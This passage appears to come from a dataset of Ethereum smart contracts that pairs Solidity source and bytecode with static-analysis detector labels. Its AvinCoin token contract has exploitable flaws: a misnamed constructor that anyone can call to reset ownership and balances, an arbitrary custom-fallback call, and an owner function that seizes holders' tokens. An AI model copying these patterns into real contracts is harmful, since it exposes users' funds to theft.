003018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140183815260200182600019166000191681526020019450505050506040516020818303038152906040526040518082805190602001908083835b6020831015156124665780518252602082019150602081019050602083039250612441565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206040516020018083600019166000191681526020018260001916600019168152602001925050506040516020818303038152906040526040518082805190602001908083835b6020831015156124fe57805182526020820191506020810190506020830392506124d9565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050919050565b600060405160200180807f737472696e6720616374696f6e00000000000000000000000000000000000000815250600d01807f616464726573732073656e646572000000000000000000000000000000000000815250600e01807f75696e7432353620616d6f756e74000000000000000000000000000000000000815250600e01807f62797465733332206e6f6e636500000000000000000000000000000000000000815250600d0190506040516020818303038152906040526040518082805190602001908083835b60208310151561262157805182526020820191506020810190506020830392506125fc565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902082600001518360200151846040015160405160200180807f6c6f636b757000000000000000000000000000000000000000000000000000008152506006018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401838152602001826000191660001916815260200193505050506040516020818303038152906040526040518082805190602001908083835b60208310151561272a5780518252602082019150602081019050602083039250612705565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206040516020018083600019166000191681526020018260001916600019168152602001925050506040516020818303038152906040526040518082805190602001908083835b6020831015156127c2578051825260208201915060208101905060208303925061279d565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902090509190505600a165627a7a72305820c1f9cab22639489c8c37f4e1a952c5a40a7226e8c8d3c08ce7bd95977e3b0dff0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
6,821
0xed5b3d2b9664f5c471984efa753d75aa5101416e
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } contract AvinCoin is ERC223, Ownable { using SafeMath for uint256; string public name = "AVINCOIN"; string public symbol = "AVNC"; uint8 public decimals = 18; uint256 public totalSupply = 2e9 * 1e18; bool public mintingFinished = false; address public founder = 0xd31d6589a4a31680a080fD8C2D337fA082d2147d; address public AirDrop = 0xD067a36f0e05eb6C4AADabd36F4bC6B4a7AF2e39; address public LongTerm = 0xE7dfE192abd0997b3C194ac918d1c960d591E3ed; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ function IdolCoin() public { owner = founder; balanceOf[founder] = totalSupply.mul(70).div(100); balanceOf[AirDrop] = totalSupply.mul(20).div(100); balanceOf[LongTerm] = totalSupply.mul(10).div(100); } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } }
0x6080604052600436106101505763ffffffff60e060020a60003504166305d2035b811461015557806306fdde031461017e578063095ea7b31461020857806318160ddd1461022c57806323b872dd14610253578063313ce5671461027d57806340c10f19146102a85780634d853ee5146102cc57806357f2d763146102fd57806364ddc6051461031257806370a08231146103a25780637d64bcb4146103c35780638da5cb5b146103d8578063939c0a66146103ed578063945946251461040257806395d89b41146104595780639dc29fac1461046e578063a9059cbb14610492578063b414d4b6146104b6578063be45fd62146104d7578063c341b9f614610540578063cbbe974b14610599578063dd62ed3e146105ba578063dd924594146105e1578063f0dc41711461066f578063f18697cf146106fd578063f2fde38b14610712578063f6368f8a14610733575b600080fd5b34801561016157600080fd5b5061016a6107da565b604080519115158252519081900360200190f35b34801561018a57600080fd5b506101936107e3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101cd5781810151838201526020016101b5565b50505050905090810190601f1680156101fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021457600080fd5b5061016a600160a060020a0360043516602435610876565b34801561023857600080fd5b506102416108dc565b60408051918252519081900360200190f35b34801561025f57600080fd5b5061016a600160a060020a03600435811690602435166044356108e2565b34801561028957600080fd5b50610292610ae6565b6040805160ff9092168252519081900360200190f35b3480156102b457600080fd5b5061016a600160a060020a0360043516602435610aef565b3480156102d857600080fd5b506102e1610bef565b60408051600160a060020a039092168252519081900360200190f35b34801561030957600080fd5b506102e1610c03565b34801561031e57600080fd5b50604080516020600480358082013583810280860185019096528085526103a095369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610c129650505050505050565b005b3480156103ae57600080fd5b50610241600160a060020a0360043516610d76565b3480156103cf57600080fd5b5061016a610d91565b3480156103e457600080fd5b506102e1610df7565b3480156103f957600080fd5b506102e1610e06565b34801561040e57600080fd5b506040805160206004803580820135838102808601850190965280855261016a953695939460249493850192918291850190849080828437509497505093359450610e159350505050565b34801561046557600080fd5b50610193611086565b34801561047a57600080fd5b506103a0600160a060020a03600435166024356110e7565b34801561049e57600080fd5b5061016a600160a060020a03600435166024356111cc565b3480156104c257600080fd5b5061016a600160a060020a036004351661128f565b3480156104e357600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016a948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506112a49650505050505050565b34801561054c57600080fd5b50604080516020600480358082013583810280860185019096528085526103a09536959394602494938501929182918501908490808284375094975050505091351515925061135d915050565b3480156105a557600080fd5b50610241600160a060020a0360043516611467565b3480156105c657600080fd5b50610241600160a060020a0360043581169060243516611479565b3480156105ed57600080fd5b506040805160206004803580820135838102808601850190965280855261016a95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506114a49650505050505050565b34801561067b57600080fd5b506040805160206004803580820135838102808601850190965280855261016a95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506117579650505050505050565b34801561070957600080fd5b506103a0611a37565b34801561071e57600080fd5b506103a0600160a060020a0360043516611b15565b34801561073f57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016a948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750611baa9650505050505050565b60065460ff1681565b60028054604080516020601f600019610100600187161502019094168590049384018190048102820181019092528281526060939092909183018282801561086c5780601f106108415761010080835404028352916020019161086c565b820191906000526020600020905b81548152906001019060200180831161084f57829003601f168201915b5050505050905090565b336000818152600a60209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055490565b6000600160a060020a038316158015906108fc5750600082115b80156109205750600160a060020a0384166000908152600960205260409020548211155b801561094f5750600160a060020a0384166000908152600a602090815260408083203384529091529020548211155b80156109745750600160a060020a0384166000908152600b602052604090205460ff16155b80156109995750600160a060020a0383166000908152600b602052604090205460ff16155b80156109bc5750600160a060020a0384166000908152600c602052604090205442115b80156109df5750600160a060020a0383166000908152600c602052604090205442115b15156109ea57600080fd5b600160a060020a038416600090815260096020526040902054610a13908363ffffffff611ec816565b600160a060020a038086166000908152600960205260408082209390935590851681522054610a48908363ffffffff611eda16565b600160a060020a038085166000908152600960209081526040808320949094559187168152600a82528281203382529091522054610a8c908363ffffffff611ec816565b600160a060020a038086166000818152600a6020908152604080832033845282529182902094909455805186815290519287169391926000805160206122d3833981519152929181900390910190a35060015b9392505050565b60045460ff1690565b600154600090600160a060020a03163314610b0957600080fd5b60065460ff1615610b1957600080fd5b60008211610b2657600080fd5b600554610b39908363ffffffff611eda16565b600555600160a060020a038316600090815260096020526040902054610b65908363ffffffff611eda16565b600160a060020a038416600081815260096020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206122d38339815191529181900360200190a350600192915050565b6006546101009004600160a060020a031681565b600854600160a060020a031681565b600154600090600160a060020a03163314610c2c57600080fd5b60008351118015610c3e575081518351145b1515610c4957600080fd5b5060005b8251811015610d71578181815181101515610c6457fe5b90602001906020020151600c60008584815181101515610c8057fe5b6020908102909101810151600160a060020a031682528101919091526040016000205410610cad57600080fd5b8181815181101515610cbb57fe5b90602001906020020151600c60008584815181101515610cd757fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558251839082908110610d0857fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c15778383815181101515610d4a57fe5b906020019060200201516040518082815260200191505060405180910390a2600101610c4d565b505050565b600160a060020a031660009081526009602052604090205490565b600154600090600160a060020a03163314610dab57600080fd5b60065460ff1615610dbb57600080fd5b6006805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600154600160a060020a031681565b600754600160a060020a031681565b60008060008084118015610e2a575060008551115b8015610e465750336000908152600b602052604090205460ff16155b8015610e605750336000908152600c602052604090205442115b1515610e6b57600080fd5b610e7f846305f5e10063ffffffff611ee916565b9350610e95855185611ee990919063ffffffff16565b33600090815260096020526040902054909250821115610eb457600080fd5b5060005b845181101561104b578481815181101515610ecf57fe5b90602001906020020151600160a060020a0316600014158015610f275750600b60008683815181101515610eff57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b8015610f6e5750600c60008683815181101515610f4057fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610f7957600080fd5b610fbe84600960008885815181101515610f8f57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff611eda16565b600960008784815181101515610fd057fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061100157fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206122d3833981519152866040518082815260200191505060405180910390a3600101610eb8565b3360009081526009602052604090205461106b908363ffffffff611ec816565b33600090815260096020526040902055506001949350505050565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561086c5780601f106108415761010080835404028352916020019161086c565b600154600160a060020a031633146110fe57600080fd5b6000811180156111265750600160a060020a0382166000908152600960205260409020548111155b151561113157600080fd5b600160a060020a03821660009081526009602052604090205461115a908263ffffffff611ec816565b600160a060020a038316600090815260096020526040902055600554611186908263ffffffff611ec816565b600555604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600060606000831180156111f05750336000908152600b602052604090205460ff16155b80156112155750600160a060020a0384166000908152600b602052604090205460ff16155b801561122f5750336000908152600c602052604090205442115b80156112525750600160a060020a0384166000908152600c602052604090205442115b151561125d57600080fd5b61126684611f14565b1561127d57611276848483611f1c565b9150611288565b611276848483612160565b5092915050565b600b6020526000908152604090205460ff1681565b600080831180156112c55750336000908152600b602052604090205460ff16155b80156112ea5750600160a060020a0384166000908152600b602052604090205460ff16155b80156113045750336000908152600c602052604090205442115b80156113275750600160a060020a0384166000908152600c602052604090205442115b151561133257600080fd5b61133b84611f14565b156113525761134b848484611f1c565b9050610adf565b61134b848484612160565b600154600090600160a060020a0316331461137757600080fd5b825160001061138557600080fd5b5060005b8251811015610d715782818151811015156113a057fe5b60209081029091010151600160a060020a031615156113be57600080fd5b81600b600085848151811015156113d157fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055825183908290811061141157fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a2600101611389565b600c6020526000908152604090205481565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b60008060008085511180156114ba575083518551145b80156114d65750336000908152600b602052604090205460ff16155b80156114f05750336000908152600c602052604090205442115b15156114fb57600080fd5b5060009050805b845181101561165d576000848281518110151561151b57fe5b906020019060200201511180156115535750848181518110151561153b57fe5b90602001906020020151600160a060020a0316600014155b80156115945750600b6000868381518110151561156c57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156115db5750600c600086838151811015156115ad57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156115e657600080fd5b6116126305f5e10085838151811015156115fc57fe5b602090810290910101519063ffffffff611ee916565b848281518110151561162057fe5b6020908102909101015283516116539085908390811061163c57fe5b60209081029091010151839063ffffffff611eda16565b9150600101611502565b3360009081526009602052604090205482111561167957600080fd5b5060005b845181101561104b576116b3848281518110151561169757fe5b90602001906020020151600960008885815181101515610f8f57fe5b6009600087848151811015156116c557fe5b6020908102909101810151600160a060020a031682528101919091526040016000205584518590829081106116f657fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206122d3833981519152868481518110151561173057fe5b906020019060200201516040518082815260200191505060405180910390a360010161167d565b60015460009081908190600160a060020a0316331461177557600080fd5b60008551118015611787575083518551145b151561179257600080fd5b5060009050805b8451811015611a1757600084828151811015156117b257fe5b906020019060200201511180156117ea575084818151811015156117d257fe5b90602001906020020151600160a060020a0316600014155b801561182b5750600b6000868381518110151561180357fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156118725750600c6000868381518110151561184457fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561187d57600080fd5b6118936305f5e10085838151811015156115fc57fe5b84828151811015156118a157fe5b6020908102909101015283518490829081106118b957fe5b906020019060200201516009600087848151811015156118d557fe5b6020908102909101810151600160a060020a0316825281019190915260400160002054101561190357600080fd5b61195f848281518110151561191457fe5b9060200190602002015160096000888581518110151561193057fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff611ec816565b60096000878481518110151561197157fe5b6020908102909101810151600160a060020a031682528101919091526040016000205583516119a69085908390811061163c57fe5b915033600160a060020a031685828151811015156119c057fe5b90602001906020020151600160a060020a03166000805160206122d383398151915286848151811015156119f057fe5b906020019060200201516040518082815260200191505060405180910390a3600101611799565b3360009081526009602052604090205461106b908363ffffffff611eda16565b60065460018054610100909204600160a060020a031673ffffffffffffffffffffffffffffffffffffffff19909216919091179055600554611a8d90606490611a81906046611ee9565b9063ffffffff6122bb16565b6006546101009004600160a060020a0316600090815260096020526040902055600554611ac290606490611a81906014611ee9565b600754600160a060020a0316600090815260096020526040902055600554611af890606490611a8190600a63ffffffff611ee916565b600854600160a060020a0316600090815260096020526040902055565b600154600160a060020a03163314611b2c57600080fd5b600160a060020a0381161515611b4157600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611bcb5750336000908152600b602052604090205460ff16155b8015611bf05750600160a060020a0385166000908152600b602052604090205460ff16155b8015611c0a5750336000908152600c602052604090205442115b8015611c2d5750600160a060020a0385166000908152600c602052604090205442115b1515611c3857600080fd5b611c4185611f14565b15611eb25733600090815260096020526040902054841115611c6257600080fd5b33600090815260096020526040902054611c82908563ffffffff611ec816565b3360009081526009602052604080822092909255600160a060020a03871681522054611cb4908563ffffffff611eda16565b600160a060020a038616600081815260096020908152604080832094909455925185519293919286928291908401908083835b60208310611d065780518252601f199092019160209182019101611ce7565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611d98578181015183820152602001611d80565b50505050905090810190601f168015611dc55780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515611de557fe5b826040518082805190602001908083835b60208310611e155780518252601f199092019160209182019101611df6565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206122d38339815191529181900360200190a3506001611ec0565b611ebd858585612160565b90505b949350505050565b600082821115611ed457fe5b50900390565b600082820183811015610adf57fe5b600080831515611efc5760009150611288565b50828202828482811515611f0c57fe5b0414610adf57fe5b6000903b1190565b336000908152600960205260408120548190841115611f3a57600080fd5b33600090815260096020526040902054611f5a908563ffffffff611ec816565b3360009081526009602052604080822092909255600160a060020a03871681522054611f8c908563ffffffff611eda16565b600160a060020a03861660008181526009602090815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b8381101561202a578181015183820152602001612012565b50505050905090810190601f1680156120575780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561207857600080fd5b505af115801561208c573d6000803e3d6000fd5b50505050826040518082805190602001908083835b602083106120c05780518252601f1990920191602091820191016120a1565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206122d38339815191529181900360200190a3506001949350505050565b3360009081526009602052604081205483111561217c57600080fd5b3360009081526009602052604090205461219c908463ffffffff611ec816565b3360009081526009602052604080822092909255600160a060020a038616815220546121ce908463ffffffff611eda16565b600160a060020a0385166000908152600960209081526040918290209290925551835184928291908401908083835b6020831061221c5780518252601f1990920191602091820191016121fd565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208983529351939550600160a060020a038a16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518481529051600160a060020a0386169133916000805160206122d38339815191529181900360200190a35060019392505050565b60008082848115156122c957fe5b049493505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820db404eb6f895a734a2a6905a3e67aefb7e228257210dcb692a6df41f13d277090029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
6,822
0xbEe634DF31ba2D90fC4A72ABD095776DE7b22306
pragma solidity =0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function decimals() external pure returns (uint); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface INimbusPair is IERC20 { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } interface INimbusRouter { function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed from, address indexed to); constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), owner); } modifier onlyOwner { require(msg.sender == owner, "Ownable: Caller is not the owner"); _; } function transferOwnership(address transferOwner) public onlyOwner { require(transferOwner != newOwner); newOwner = transferOwner; } function acceptOwnership() virtual public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 